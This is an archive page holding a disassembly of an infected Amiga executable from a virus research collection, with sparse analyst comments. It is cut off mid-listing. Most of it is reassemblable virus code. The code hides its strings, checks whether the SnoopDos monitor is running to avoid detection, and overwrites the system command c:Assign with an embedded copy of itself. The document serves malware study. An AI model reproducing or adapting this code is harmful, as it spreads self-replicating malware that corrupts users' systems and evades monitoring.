home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
amiga_virus_collection_research.7z
/
VIRUSRESEARCH
/
STR_ATMOS
/
STR_ATMOS.ASM
< prev
next >
Wrap
Assembly Source File
|
1999-06-12
|
69KB
|
2,462 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
EXT_0000 EQU $0
ABSEXECBASE EQU $4
HARDBASE EQU $DFF000
VHPOSR EQU $DFF006
COLOR00 EQU $DFF180
EXT_0005 EQU $F97FBC
EXT_0006 EQU $FC0000
SECTION S_0,CODE
SECSTRT_0:
LINK A5,#-1332 ;0000: 4E55FACC
MOVEM.L D2-D3/D5-D7/A2-A3/A6,-(A7) ;0004: 48E73732
MOVEA #$0004,A0 ;0008: 307C0004
MOVEA.L (A0),A3 ;000C: 2650
MOVEA.L A3,A0 ;000E: 204B
MOVEQ #20,D7 ;0010: 7E14
MOVE.L A0,44(A7) ;0012: 2F48002C
SUBA.L A1,A1 ;0016: 93C9
MOVEA.L A3,A6 ;0018: 2C4B
JSR -294(A6) ;001A: 4EAEFEDA
MOVEA.L D0,A2 ;001E: 2440
TST.L 172(A2) ;0020: 4AAA00AC
BNE LAB_0010 ;0024: 660002BE
LEA 92(A2),A1 ;0028: 43EA005C
MOVE.L A1,32(A7) ;002C: 2F490020
MOVEA.L A1,A0 ;0030: 2049
JSR -384(A6) ;0032: 4EAEFE80
MOVEA.L 32(A7),A0 ;0036: 206F0020
JSR -372(A6) ;003A: 4EAEFE8C
MOVE.L D0,40(A7) ;003E: 2F400028
LEA LAB_0012(PC),A1 ;0042: 43FA02C6
MOVEQ #37,D0 ;0046: 7025
JSR -552(A6) ;0048: 4EAEFDD8
MOVEA.L D0,A2 ;004C: 2440
MOVE.L A2,D0 ;004E: 200A
BEQ LAB_000F ;0050: 67000284
MOVEQ #10,D7 ;0054: 7E0A
MOVEQ #100,D0 ;0056: 7064
MOVE.L D0,-284(A5) ;0058: 2B40FEE4
MOVE.L #$00001000,-1312(A5) ;005C: 2B7C00001000FAE0
CLR -1314(A5) ;0064: 426DFADE
LEA LAB_0013(PC),A0 ;0068: 41FA02AC
LEA -280(A5),A1 ;006C: 43EDFEE8
BSR LAB_0024 ;0070: 6100031E ;JUMP TO VIRUS!
MOVEQ #5,D0 ;0074: 7005
LAB_0000:
MOVE.L (A0)+,(A1)+ ;0076: 22D8
DBF D0,LAB_0000 ;0078: 51C8FFFC
MOVEA.L 40(A7),A1 ;007C: 226F0028
MOVEA.L 36(A1),A0 ;0080: 20690024
MOVE.L 28(A1),D6 ;0084: 2C29001C
MOVEQ #1,D0 ;0088: 7001
CMP.L D0,D6 ;008A: BC80
BLE LAB_000E ;008C: 6F00023C
LEA 8(A0),A1 ;0090: 43E80008
MOVE.L A1,-24(A5) ;0094: 2B49FFE8
MOVE.L (A1),D1 ;0098: 2211
MOVEA.L A2,A6 ;009A: 2C4A
JSR -126(A6) ;009C: 4EAEFF82
MOVE.L D0,D5 ;00A0: 2A00
LEA LAB_0014(PC),A1 ;00A2: 43FA028A
MOVEQ #37,D0 ;00A6: 7025
MOVEA.L A3,A6 ;00A8: 2C4B
JSR -552(A6) ;00AA: 4EAEFDD8
MOVEA.L D0,A3 ;00AE: 2640
MOVE.L A3,D0 ;00B0: 200B
BEQ LAB_0007 ;00B2: 6700010A
MOVEA.L -24(A5),A0 ;00B6: 206DFFE8
MOVEA.L 4(A0),A0 ;00BA: 20680004
MOVEA.L A3,A6 ;00BE: 2C4B
JSR -78(A6) ;00C0: 4EAEFFB2
MOVE.L D0,36(A7) ;00C4: 2F400024
TST.L D0 ;00C8: 4A80
BEQ LAB_0006 ;00CA: 670000E8
MOVEA.L D0,A0 ;00CE: 2040
MOVEA.L 54(A0),A0 ;00D0: 20680036
LEA LAB_0015(PC),A1 ;00D4: 43FA0266
JSR -96(A6) ;00D8: 4EAEFFA0
TST.L D0 ;00DC: 4A80
BEQ.S LAB_0001 ;00DE: 670E
MOVEA.L D0,A1 ;00E0: 2240
MOVEQ #64,D0 ;00E2: 7040
LSL.L #2,D0 ;00E4: E588
LEA -280(A5),A0 ;00E6: 41EDFEE8
JSR LAB_0124(PC) ;00EA: 4EBA1710
LAB_0001:
MOVEA.L 36(A7),A0 ;00EE: 206F0024
MOVEA.L 54(A0),A0 ;00F2: 20680036
LEA LAB_0016(PC),A1 ;00F6: 43FA024C
MOVEA.L A3,A6 ;00FA: 2C4B
JSR -96(A6) ;00FC: 4EAEFFA0
TST.L D0 ;0100: 4A80
BEQ.S LAB_0002 ;0102: 670E
MOVE.L D0,D1 ;0104: 2200
LEA -1312(A5),A0 ;0106: 41EDFAE0
MOVE.L A0,D2 ;010A: 2408
MOVEA.L A2,A6 ;010C: 2C4A
JSR -816(A6) ;010E: 4EAEFCD0
LAB_0002:
MOVEA.L 36(A7),A0 ;0112: 206F0024
MOVEA.L 54(A0),A0 ;0116: 20680036
LEA LAB_0017(PC),A1 ;011A: 43FA022E
MOVEA.L A3,A6 ;011E: 2C4B
JSR -96(A6) ;0120: 4EAEFFA0
TST.L D0 ;0124: 4A80
BEQ.S LAB_0003 ;0126: 670E
MOVEA.L D0,A0 ;0128: 2040
LEA LAB_0018(PC),A1 ;012A: 43FA0228
JSR -102(A6) ;012E: 4EAEFF9A
MOVE D0,-1314(A5) ;0132: 3B40FADE
LAB_0003:
MOVEA.L 36(A7),A0 ;0136: 206F0024
MOVEA.L 54(A0),A0 ;013A: 20680036
LEA LAB_0019(PC),A1 ;013E: 43FA0218
JSR -96(A6) ;0142: 4EAEFFA0
TST.L D0 ;0146: 4A80
BEQ.S LAB_0004 ;0148: 672C
MOVE.L D0,D1 ;014A: 2200
LEA -284(A5),A0 ;014C: 41EDFEE4
MOVE.L A0,D2 ;0150: 2408
MOVEA.L A2,A6 ;0152: 2C4A
JSR -816(A6) ;0154: 4EAEFCD0
MOVE.L -284(A5),D0 ;0158: 202DFEE4
MOVEQ #50,D1 ;015C: 7232
JSR LAB_012D(PC) ;015E: 4EBA16C4
MOVE.L D0,-284(A5) ;0162: 2B40FEE4
BNE.S LAB_0005 ;0166: 6642
LEA -280(A5),A0 ;0168: 41EDFEE8
LEA LAB_001A(PC),A1 ;016C: 43FA01F0
JSR LAB_012A(PC) ;0170: 4EBA16A2
BRA.S LAB_0005 ;0174: 6034
LAB_0004:
MOVEA.L 36(A7),A0 ;0176: 206F0024
MOVEA.L 54(A0),A0 ;017A: 20680036
LEA LAB_001B(PC),A1 ;017E: 43FA01EA
JSR -96(A6) ;0182: 4EAEFFA0
TST.L D0 ;0186: 4A80
BEQ.S LAB_0005 ;0188: 6720
MOVE.L D0,D1 ;018A: 2200
LEA -284(A5),A0 ;018C: 41EDFEE4
MOVE.L A0,D2 ;0190: 2408
MOVEA.L A2,A6 ;0192: 2C4A
JSR -816(A6) ;0194: 4EAEFCD0
TST.L -284(A5) ;0198: 4AADFEE4
BNE.S LAB_0005 ;019C: 660C
LEA -280(A5),A0 ;019E: 41EDFEE8
LEA LAB_001A(PC),A1 ;01A2: 43FA01BA
JSR LAB_012A(PC) ;01A6: 4EBA166C
LAB_0005:
MOVEA.L 36(A7),A0 ;01AA: 206F0024
MOVEA.L A3,A6 ;01AE: 2C4B
JSR -90(A6) ;01B0: 4EAEFFA6
LAB_0006:
MOVEA.L A3,A1 ;01B4: 224B
MOVEA.L 44(A7),A6 ;01B6: 2C6F002C
JSR -414(A6) ;01BA: 4EAEFE62
LAB_0007:
MOVE.L -1312(A5),D0 ;01BE: 202DFAE0
MOVEA.L 40(A7),A0 ;01C2: 206F0028
MOVEA.L A2,A1 ;01C6: 224A
BSR LAB_011A ;01C8: 610014CC
MOVEA.L -24(A5),A3 ;01CC: 266DFFE8
MOVE.L 4(A3),-(A7) ;01D0: 2F2B0004
PEA LAB_001C(PC) ;01D4: 487A019A
PEA -1308(A5) ;01D8: 486DFAE4
JSR LAB_0122(PC) ;01DC: 4EBA15F6
LEA 12(A7),A7 ;01E0: 4FEF000C
BRA.S LAB_000B ;01E4: 606E
LAB_0008:
ADDQ.L #8,A3 ;01E6: 508B
LEA -1308(A5),A0 ;01E8: 41EDFAE4
LEA LAB_0021(PC),A1 ;01EC: 43FA019A
JSR LAB_012A(PC) ;01F0: 4EBA1622
LEA -1308(A5),A0 ;01F4: 41EDFAE4
MOVEA.L A0,A1 ;01F8: 2248
LAB_0009:
TST.B (A1)+ ;01FA: 4A19
BNE.S LAB_0009 ;01FC: 66FC
SUBQ.L #1,A1 ;01FE: 5389
SUBA.L A0,A1 ;0200: 93C8
MOVE.L A1,D0 ;0202: 2009
MOVEQ #0,D1 ;0204: 7200
MOVE D0,D1 ;0206: 3200
ADDA.L D1,A0 ;0208: D1C1
MOVEQ #0,D1 ;020A: 7200
MOVE D0,D1 ;020C: 3200
MOVEQ #64,D0 ;020E: 7040
LSL.L #4,D0 ;0210: E988
SUB.L D1,D0 ;0212: 9081
MOVE.L A0,D2 ;0214: 2408
MOVE.L D0,D3 ;0216: 2600
MOVE.L (A3),D1 ;0218: 2213
MOVEA.L A2,A6 ;021A: 2C4A
JSR -402(A6) ;021C: 4EAEFE6E
LEA -1308(A5),A0 ;0220: 41EDFAE4
MOVEA.L A0,A1 ;0224: 2248
LAB_000A:
TST.B (A1)+ ;0226: 4A19
BNE.S LAB_000A ;0228: 66FC
SUBQ.L #1,A1 ;022A: 5389
SUBA.L A0,A1 ;022C: 93C8
MOVE.L A1,D0 ;022E: 2009
MOVEQ #0,D1 ;0230: 7200
MOVE D0,D1 ;0232: 3200
MOVEQ #64,D0 ;0234: 7040
LSL.L #4,D0 ;0236: E988
SUB.L D1,D0 ;0238: 9081
MOVE.L D2,D1 ;023A: 2202
MOVE.L D0,D3 ;023C: 2600
MOVE.L 4(A3),D2 ;023E: 242B0004
JSR -882(A6) ;0242: 4EAEFC8E
LEA -1308(A5),A0 ;0246: 41EDFAE4
LEA LAB_0022(PC),A1 ;024A: 43FA0140
JSR LAB_012A(PC) ;024E: 4EBA15C4
SUBQ.L #1,D6 ;0252: 5386
LAB_000B:
MOVEQ #2,D0 ;0254: 7002
CMP.L D0,D6 ;0256: BC80
BGT.S LAB_0008 ;0258: 6E8C
LEA -1308(A5),A0 ;025A: 41EDFAE4
LEA LAB_0023(PC),A1 ;025E: 43FA012E
JSR LAB_012A(PC) ;0262: 4EBA15B0
LEA -280(A5),A0 ;0266: 41EDFEE8
MOVE.L A0,D1 ;026A: 2208
MOVE.L #$000003ED,D2 ;026C: 243C000003ED
MOVEA.L A2,A6 ;0272: 2C4A
JSR -30(A6) ;0274: 4EAEFFE2
MOVE.L D0,D6 ;0278: 2C00
TST.L D6 ;027A: 4A86
BEQ.S LAB_000D ;027C: 6746
MOVE -1314(A5),D0 ;027E: 302DFADE
EXT.L D0 ;0282: 48C0
MOVEQ #0,D1 ;0284: 7200
MOVE.L D1,-(A7) ;0286: 2F01
MOVE.L D0,-(A7) ;0288: 2F00
MOVE.L #$80000024,-(A7) ;028A: 2F3C80000024
MOVE.L D6,-(A7) ;0290: 2F06
MOVE.L #$80000021,-(A7) ;0292: 2F3C80000021
MOVE.L D1,-(A7) ;0298: 2F01
MOVE.L #$80000022,-(A7) ;029A: 2F3C80000022
PEA -1308(A5) ;02A0: 486DFAE4
MOVE.L A2,-(A7) ;02A4: 2F0A
BSR LAB_0119 ;02A6: 610013C8 JUMP TO ORIGINAL CODE
LEA 36(A7),A7 ;02AA: 4FEF0024
MOVE.L -284(A5),D0 ;02AE: 202DFEE4
BEQ.S LAB_000C ;02B2: 6708
MOVE.L D0,D1 ;02B4: 2200
MOVEA.L A2,A6 ;02B6: 2C4A
JSR -198(A6) ;02B8: 4EAEFF3A
LAB_000C:
MOVE.L D6,D1 ;02BC: 2206
MOVEA.L A2,A6 ;02BE: 2C4A
JSR -36(A6) ;02C0: 4EAEFFDC
LAB_000D:
MOVE.L D5,D1 ;02C4: 2205
JSR -126(A6) ;02C6: 4EAEFF82
LAB_000E:
MOVEA.L 44(A7),A3 ;02CA: 266F002C
MOVEA.L A2,A1 ;02CE: 224A
MOVEA.L A3,A6 ;02D0: 2C4B
JSR -414(A6) ;02D2: 4EAEFE62
LAB_000F:
MOVEA.L A3,A6 ;02D6: 2C4B
JSR -132(A6) ;02D8: 4EAEFF7C
MOVEA.L 40(A7),A1 ;02DC: 226F0028
JSR -378(A6) ;02E0: 4EAEFE86
LAB_0010:
MOVE.L D7,D0 ;02E4: 2007
MOVEM.L (A7)+,D2-D3/D5-D7/A2-A3/A6 ;02E6: 4CDF4CEC
UNLK A5 ;02EA: 4E5D
RTS ;02EC: 4E75
LAB_0011:
DC.W $0024 ;02EE
ADDQ #3,D5 ;02F0: 5645
DC.W $523A ;02F2
DC.W $2069 ;02F4
DC.W $636F ;02F6
BGT.S LAB_001D ;02F8: 6E78
DC.W $2033 ;02FA
MOVE 14368(A6),-(A4) ;02FC: 392E3820
MOVE.L 46(A2,D3.W),D4 ;0300: 2832302E
MOVE 14642(A6),-(A0) ;0304: 312E3932
MOVE.L D0,-(A4) ;0308: 2900
LAB_0012:
DC.W $646F ;030A
DC.W $732E ;030C
DC.W $6C69 ;030E
BHI.S LAB_001F ;0310: 6272
BSR.S LAB_0020 ;0312: 6172
DC.W $7900 ;0314
LAB_0013:
DC.W $434F ;0316
DC.W $4E3A ;0318
MOVE 13616(A7),D0 ;031A: 302F3530
MOVE.L 14384(A7),-(A7) ;031E: 2F2F3830
DC.W $2F49 ;0322
DC.W $636F ;0324
BGT.S LAB_001E ;0326: 6E58
MOVE.L D1,21844(A7) ;0328: 2F415554
DC.W $4F00 ;032C
LAB_0014:
DC.W $6963 ;032E
BLE.S LAB_0025+2 ;0330: 6F6E
MOVEA.L 26978(A4),A7 ;0332: 2E6C6962
MOVEQ #97,D1 ;0336: 7261
MOVEQ #121,D1 ;0338: 7279
DC.W $0000 ;033A
LAB_0015:
SUBQ #3,A1 ;033C: 5749
TRAP #4 ;033E: 4E44
DC.W $4F57 ;0340
DC.W $0000 ;0342
LAB_0016:
SUBQ #1,(A4) ;0344: 5354
DC.W $4143 ;0346
DC.W $4B00 ;0348
LAB_0017:
SUBQ #2,(A3) ;034A: 5553
DC.W $4552 ;034C
SUBQ #1,A0 ;034E: 5348
DC.W $454C ;0350
DC.W $4C00 ;0352
LAB_0018:
SUBQ #4,D5 ;0354: 5945
SUBQ.B #1,D0 ;0356: 5300
LAB_0019:
SUBQ #3,D1 ;0358: 5741
DC.W $4954 ;035A
DC.W $0000 ;035C
LAB_001A:
DC.W $2F43 ;035E
DC.W $4C4F ;0360
SUBQ #1,D5 ;0362: 5345
DC.W $2F57 ;0364
DC.W $4149 ;0366
ADDQ.B #2,D0 ;0368: 5400
LAB_001B:
NEG D5 ;036A: 4445
DC.W $4C41 ;036C
SUBQ.B #4,D0 ;036E: 5900
LAB_001C:
NOT -(A1) ;0370: 4661
LAB_001D:
BVS.S LAB_0027+2 ;0372: 696C
DC.W $4174 ;0374
MOVE.L 48(A1,D3.W),D0 ;0376: 20313030
EORI #$7865,D5 ;037A: 0A457865
DC.W $6375 ;037E
LAB_001E:
MOVEQ #101,D2 ;0380: 7465
MOVE.L -(A2),D0 ;0382: 2022
LAB_001F:
DC.W $2573 ;0384
LAB_0020:
MOVE.L D0,D1 ;0386: 2200
LAB_0021:
MOVE.L -(A2),D0 ;0388: 2022
DC.W $0000 ;038A
LAB_0022:
MOVE.L D0,D1 ;038C: 2200
LAB_0023:
DC.W $0A00 ;038E
; START OF VIRUS??
LAB_0024:
MOVEM.L D0-D7/A0-A6,-(A7) ;0390: 48E7FFFE
BSR.S LAB_0026 ;0394: 611A
MOVEM.L (A7)+,D0-D7/A0-A6 ;0396: 4CDF7FFF
RTS ;039A: 4E75
DC.W $108C ;039C
LAB_0025:
JSR -414(A6) ;039E: 4EAEFE62
MOVE.L (A7)+,D0 ;03A2: 201F
MOVEM.L (A7)+,D1-D6/A0-A6 ;03A4: 4CDF7F7E
RTS ;03A8: 4E75
ORI.B #$00,D0 ;03AA: 00000000
DC.W $0000 ;03AE
LAB_0026:
MOVEA.L (ABSEXECBASE).W,A6 ;03B0: 2C780004
SUBA.L A1,A1 ;03B4: 93C9 CLEAR A1
JSR -294(A6) ;03B6: 4EAEFEDA FindTask()
MOVEA.L D0,A0 ;03BA: 2040 OwnTask
LEA LAB_002B(PC),A1 ;03BC: 43FA00F4
MOVE.L D0,(A1) ;03C0: 2280 Store pointer
LEA LAB_002C(PC),A1 ;03C2: 43FA00F2
MOVE.L 184(A0),(A1) ;03C6: 22A800B8 Pktwait
MOVEQ #-1,D0 ;03CA: 70FF -1
MOVE.L D0,184(A0) ;03CC: 214000B8 set pkt wait to -1
BSR.S LAB_0027 ;03D0: 610C
MOVEA.L LAB_002B(PC),A1 ;03D2: 227A00DE
MOVE.L LAB_002C(PC),184(A1) ;03D6: 237A00DE00B8 set Pktwait to own task
RTS ;03DC: 4E75
LAB_0027:
LEA LAB_0118+2(PC),A0 ;03DE: 41FA1276
MOVE.B #$53,(A0)+ ;03E2: 10FC0053 write 'SnoopDos' string
MOVE.L #$00000010,D0 ;03E6: 203C00000010
SUB.L D0,D7 ;03EC: 9E80
MOVE.B #$6E,(A0)+ ;03EE: 10FC006E
LEA LAB_002B(PC),A2 ;03F2: 45FA00BE
MOVE.L A2,D7 ;03F6: 2E0A
MOVE.B #$6F,(A0)+ ;03F8: 10FC006F
MOVE.B #$6F,(A0)+ ;03FC: 10FC006F
MOVE.L D7,D5 ;0400: 2A07
SUB.L D5,D7 ;0402: 9E85
MOVE.B #$70,(A0)+ ;0404: 10FC0070
MOVE.B #$44,(A0)+ ;0408: 10FC0044
LSL.L #1,D7 ;040C: E38F
MOVE.L D7,D1 ;040E: 2207
MOVE.B #$6F,(A0)+ ;0410: 10FC006F
MOVE.L #$00000009,D6 ;0414: 2C3C00000009
MOVE.B #$73,(A0)+ ;041A: 10FC0073
CLR.B (A0)+ ;041E: 4218
LEA LAB_0117+2(PC),A0 ;0420: 41FA1220
MOVE #$433A,(A0)+ ;0424: 30FC433A write 'c:Assign' string
MOVE.L #$00000017,D0 ;0428: 203C00000017
MOVE.B #$41,(A0)+ ;042E: 10FC0041
MOVE.B #$73,(A0)+ ;0432: 10FC0073
SUB.L D0,D0 ;0436: 9080 Clkear D0
SUB.L D5,D6 ;0438: 9C85
SUB.L D2,D0 ;043A: 9082
MOVE #$7369,(A0)+ ;043C: 30FC7369
MOVE.B #$67,(A0)+ ;0440: 10FC0067
LEA LAB_002B(PC),A3 ;0444: 47FA006C
MOVE.L (A3),D1 ;0448: 2213
MOVE.B #$6E,(A0)+ ;044A: 10FC006E
CLR.B (A0)+ ;044E: 4218
LEA LAB_002A(PC),A1 ;0450: 43FA0054 dos.library
MOVEQ #37,D0 ;0454: 7025
JSR -552(A6) ;0456: 4EAEFDD8 OpenLibrary()
TST.L D0 ;045A: 4A80 ptr to opened dos lib
BEQ.S LAB_0029 ;045C: 6746 Error: no lib, exit
MOVE.L D0,D7 ;045E: 2E00 store ptr to lib
MOVEA.L (ABSEXECBASE).W,A6 ;0460: 2C780004
JSR -636(A6) ;0464: 4EAEFD84 CacheClearU() (cache sensitive thus)
LEA LAB_0118+2(PC),A1 ;0468: 43FA11EC get 'SnoopDos' string
JSR -294(A6) ;046C: 4EAEFEDA FindTask() try to find SnoopDos task
TST.L D0 ;0470: 4A80 See if port
BNE.S LAB_0029 ;0472: 6630 Error, exit
MOVEA.L D7,A6 ;0474: 2C47 get ptr to dos back
LEA LAB_0117+2(PC),A0 ;0476: 41FA11CA get 'c:Assign' name
MOVE.L A0,D1 ;047A: 2208 arg 1
MOVE.L #$000003EE,D2 ;047C: 243C000003EE arg 2 -> Mode_NewFile
JSR -30(A6) ;0482: 4EAEFFE2 Open()
TST.L D0 ;0486: 4A80 see if succes
BEQ.S LAB_0029 ;0488: 671A nope, exit
MOVE.L D0,D7 ;048A: 2E00 stotre ptr to file
MOVE.L D0,D1 ;048C: 2200 arg 1
LEA LAB_002D(PC),A0 ;048E: 41FA002A ptr to 'real' virus
MOVE.L A0,D2 ;0492: 2408
MOVE.L #$00001188,D3 ;0494: 263C00001188 size of virus probably
JSR -48(A6) ;049A: 4EAEFFD0 Write() virus to Assign
MOVE.L D7,D1 ;049E: 2207 get ptr back
JSR -36(A6) ;04A0: 4EAEFFDC and Close() it
LAB_0029:
RTS ;04A4: 4E75
LAB_002A:
DC.W $646F ;04A6
DC.W $732E ;04A8
DC.W $6C69 ;04AA
BHI.S LAB_002E ;04AC: 6272
BSR.S LAB_002E+2 ;04AE: 6172
DC.W $7900 ;04B0
LAB_002B:
ORI.B #$00,D0 ;04B2: 00000000
LAB_002C:
ORI.B #$00,D0 ;04B6: 00000000
LAB_002D:
DC.W $0000 ;04BA
BSET D1,0(A3,D0.W) ;04BC: 03F30000
ORI.B #$00,D0 ;04C0: 00000000
ORI.B #$00,D1 ;04C4: 00010000
ORI.B #$00,D0 ;04C8: 00000000
ORI.B #$00,D0 ;04CC: 00000000
SUBI #$0000,(A1)+ ;04D0: 04590000
BSET D1,0(A1) ;04D4: 03E90000
SUBI #$4E55,(A1)+ ;04D8: 04594E55
DC.W $F9A0 ;04DC
MOVEM.L D2-D7/A2-A3/A6,-(A7) ;04DE: 48E73F32
MOVEA #$0004,A0 ;04E2: 307C0004
MOVEA.L (A0),A1 ;04E6: 2250
SUBA.L A0,A0 ;04E8: 91C8
MOVE.L A0,-104(A5) ;04EA: 2B48FF98
LEA -1608(A5),A6 ;04EE: 4DEDF9B8
MOVE.L A6,-100(A5) ;04F2: 2B4EFF9C
MOVE.L A0,-96(A5) ;04F6: 2B48FFA0
MOVE.L #$000005DC,-92(A5) ;04FA: 2B7C000005DCFFA4
MOVEQ #20,D5 ;0502: 7A14
MOVE.L A0,-36(A5) ;0504: 2B48FFDC
MOVE.L A1,52(A7) ;0508: 2F490034
MOVEA.L A1,A6 ;050C: 2C49
BSR LAB_0081 ;050E: 61000738
LEA LAB_00B4(PC),A1 ;0512: 43FA0C20
MOVEQ #36,D0 ;0516: 7024
JSR -552(A6) ;0518: 4EAEFDD8
MOVEA.L D0,A3 ;051C: 2640
MOVEA.L A3,A0 ;051E: 204B
LAB_002E:
MOVE.L A0,48(A7) ;0520: 2F480030
MOVE.L A3,D0 ;0524: 200B
BEQ LAB_007E ;0526: 670006FA
MOVEQ #47,D0 ;052A: 702F
MOVEQ #0,D1 ;052C: 7200
LEA -84(A5),A1 ;052E: 43EDFFAC
LAB_0030:
MOVE.B D1,(A1)+ ;0532: 12C1
DBF D0,LAB_0030 ;0534: 51C8FFFC
LEA LAB_00B5(PC),A1 ;0538: 43FA0C06
MOVE.L A1,D1 ;053C: 2209
LEA -84(A5),A0 ;053E: 41EDFFAC
MOVE.L A0,D2 ;0542: 2408
MOVEQ #0,D3 ;0544: 7600
MOVEA.L A3,A6 ;0546: 2C4B
JSR -798(A6) ;0548: 4EAEFCE2
MOVE.L D0,44(A7) ;054C: 2F40002C
TST.L D0 ;0550: 4A80
BNE LAB_0031 ;0552: 66000012
JSR -132(A6) ;0556: 4EAEFF7C
MOVE.L D0,D1 ;055A: 2200
MOVE.L D3,D2 ;055C: 2403
JSR -474(A6) ;055E: 4EAEFE26
BRA LAB_007A ;0562: 60000662
LAB_0031:
MOVEQ #0,D7 ;0566: 7E00
CLR.L -28(A5) ;0568: 42ADFFE4
MOVEA.L -84(A5),A2 ;056C: 246DFFAC
MOVEA.L A2,A1 ;0570: 224A
MOVE.L A1,40(A7) ;0572: 2F490028
MOVE.L A2,D1 ;0576: 220A
BEQ.S LAB_0037 ;0578: 6742
MOVEA.L A2,A3 ;057A: 264A
BRA.S LAB_0033 ;057C: 6002
LAB_0032:
ADDQ.L #1,A3 ;057E: 528B
LAB_0033:
MOVEQ #58,D0 ;0580: 703A
CMP.B (A3),D0 ;0582: B013
BEQ.S LAB_0034 ;0584: 6706
TST.B 1(A3) ;0586: 4A2B0001
BNE.S LAB_0032 ;058A: 66F2
LAB_0034:
MOVEQ #58,D0 ;058C: 703A
CMP.B (A3),D0 ;058E: B013
BNE.S LAB_0035 ;0590: 6616
TST.B 1(A3) ;0592: 4A2B0001
BNE.S LAB_0035 ;0596: 6610
CMPA.L A2,A3 ;0598: B7CA
BEQ.S LAB_0035 ;059A: 670C
MOVE.L A2,D0 ;059C: 200A
MOVE.L A3,D1 ;059E: 220B
SUB.L D0,D1 ;05A0: 9280
MOVEQ #30,D0 ;05A2: 701E
CMP.L D0,D1 ;05A4: B280
BLS.S LAB_0036 ;05A6: 6312
LAB_0035:
LEA LAB_00B8(PC),A0 ;05A8: 41FA0C14
MOVEQ #20,D5 ;05AC: 7A14
MOVEA.L 48(A7),A3 ;05AE: 266F0030
MOVE.L A0,-36(A5) ;05B2: 2B48FFDC
BRA LAB_007A ;05B6: 6000060E
LAB_0036:
CLR.B (A3) ;05BA: 4213
LAB_0037:
MOVEA.L -80(A5),A0 ;05BC: 206DFFB0
MOVE.L A0,-88(A5) ;05C0: 2B48FFA8
BEQ.S LAB_0038 ;05C4: 6704
MOVEA.L (A0),A0 ;05C6: 2050
BRA.S LAB_0039 ;05C8: 6002
LAB_0038:
SUBA.L A0,A0 ;05CA: 91C8
LAB_0039:
MOVEA.L A0,A2 ;05CC: 2448
MOVE.L -72(A5),D0 ;05CE: 202DFFB8
BEQ.S LAB_003A ;05D2: 6708
MOVEQ #0,D1 ;05D4: 7200
MOVE.L D1,-76(A5) ;05D6: 2B41FFB4
BRA.S LAB_003E ;05DA: 6038
LAB_003A:
TST.L -48(A5) ;05DC: 4AADFFD0
BNE.S LAB_003B ;05E0: 660C
TST.L -44(A5) ;05E2: 4AADFFD4
BNE.S LAB_003B ;05E6: 6606
TST.L -40(A5) ;05E8: 4AADFFD8
BEQ.S LAB_003C ;05EC: 6708
LAB_003B:
MOVEQ #-1,D1 ;05EE: 72FF
MOVE.L D1,-76(A5) ;05F0: 2B41FFB4
BRA.S LAB_003E ;05F4: 601E
LAB_003C:
TST.L -76(A5) ;05F6: 4AADFFB4
BNE.S LAB_003D ;05FA: 6606
MOVE.L 40(A7),D1 ;05FC: 222F0028
BNE.S LAB_003E ;0600: 6612
LAB_003D:
MOVEQ #-1,D1 ;0602: 72FF
MOVE.L D1,-40(A5) ;0604: 2B41FFD8
MOVE.L D1,-44(A5) ;0608: 2B41FFD4
MOVE.L D1,-48(A5) ;060C: 2B41FFD0
MOVE.L D1,-76(A5) ;0610: 2B41FFB4
LAB_003E:
MOVE.L A2,D1 ;0614: 220A
BNE.S LAB_0040 ;0616: 662A
TST.L -64(A5) ;0618: 4AADFFC0
BNE.S LAB_003F ;061C: 6612
TST.L -60(A5) ;061E: 4AADFFC4
BNE.S LAB_003F ;0622: 660C
TST.L -56(A5) ;0624: 4AADFFC8
BNE.S LAB_003F ;0628: 6606
TST.L -52(A5) ;062A: 4AADFFCC
BEQ.S LAB_0040 ;062E: 6712
LAB_003F:
MOVEQ #0,D1 ;0630: 7200
MOVE.L D1,-52(A5) ;0632: 2B41FFCC
MOVE.L D1,-56(A5) ;0636: 2B41FFC8
MOVE.L D1,-60(A5) ;063A: 2B41FFC4
MOVE.L D1,-64(A5) ;063E: 2B41FFC0
LAB_0040:
TST.L -52(A5) ;0642: 4AADFFCC
SNE D1 ;0646: 56C1
NEG.B D1 ;0648: 4401
EXT D1 ;064A: 4881
EXT.L D1 ;064C: 48C1
TST.L -60(A5) ;064E: 4AADFFC4
SNE D2 ;0652: 56C2
NEG.B D2 ;0654: 4402
EXT D2 ;0656: 4882
EXT.L D2 ;0658: 48C2
TST.L -64(A5) ;065A: 4AADFFC0
SNE D3 ;065E: 56C3
NEG.B D3 ;0660: 4403
EXT D3 ;0662: 4883
EXT.L D3 ;0664: 48C3
TST.L -56(A5) ;0666: 4AADFFC8
SNE D0 ;066A: 56C0
NEG.B D0 ;066C: 4400
EXT D0 ;066E: 4880
EXT.L D0 ;0670: 48C0
ADD.L D3,D0 ;0672: D083
ADD.L D2,D0 ;0674: D082
ADD.L D1,D0 ;0676: D081
MOVEQ #1,D1 ;0678: 7201
CMP.L D1,D0 ;067A: B081
BLE.S LAB_0041 ;067C: 6F12
LEA LAB_00BA(PC),A0 ;067E: 41FA0B56
MOVEQ #20,D5 ;0682: 7A14
MOVEA.L 48(A7),A3 ;0684: 266F0030
MOVE.L A0,-36(A5) ;0688: 2B48FFDC
BRA LAB_007A ;068C: 60000538
LAB_0041:
TST.L 40(A7) ;0690: 4AAF0028
BEQ LAB_0057 ;0694: 6700024E
TST.L -72(A5) ;0698: 4AADFFB8
BNE LAB_0057 ;069C: 66000246
TST.L -68(A5) ;06A0: 4AADFFBC
BNE LAB_0057 ;06A4: 6600023E
LAB_0042:
MOVEA.L 48(A7),A3 ;06A8: 266F0030
MOVE.L #$00001000,D1 ;06AC: 223C00001000
MOVEA.L A3,A6 ;06B2: 2C4B
JSR -792(A6) ;06B4: 4EAEFCE8
TST.L D0 ;06B8: 4A80
BEQ.S LAB_0043 ;06BA: 6718
MOVE.L #$00000130,D1 ;06BC: 223C00000130
MOVEQ #0,D2 ;06C2: 7400
JSR -474(A6) ;06C4: 4EAEFE26
MOVEQ #20,D5 ;06C8: 7A14
MOVE.L #$00000130,D7 ;06CA: 2E3C00000130
BRA LAB_007A ;06D0: 600004F4
LAB_0043:
MOVEA.L 48(A7),A3 ;06D4: 266F0030
MOVE.L -28(A5),D5 ;06D8: 2A2DFFE4
TST.L -64(A5) ;06DC: 4AADFFC0
BEQ.S LAB_0047 ;06E0: 675A
PEA -1608(A5) ;06E2: 486DF9B8
MOVE.L A2,-(A7) ;06E6: 2F0A
